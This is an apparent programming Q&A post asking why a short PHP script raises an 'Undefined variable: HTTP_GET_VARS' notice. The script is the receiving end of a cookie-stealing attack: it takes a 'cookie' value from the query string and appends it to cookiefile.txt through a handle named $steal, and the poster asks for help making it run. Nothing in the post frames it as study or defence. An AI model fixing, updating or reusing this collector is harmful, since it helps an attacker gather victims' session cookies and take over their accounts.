title: getting error in "$cookie = $HTTP_GET_VARS["cookie"];"
body: <pre><code>&lt;?php
  $cookie = $HTTP_GET_VARS["cookie"];
  $steal = fopen("cookiefile.txt", "a");
  fwrite($steal, $cookie ."\n");
  fclose($steal);
  ?&gt;
  </code></pre>
  
  <p>While executing this code I'm getting this error:</p>
  
  <blockquote>
    <p>Notice: Undefined variable: HTTP_GET_VARS in line 2</p>
  </blockquote>
  
  <p>please help me out</p>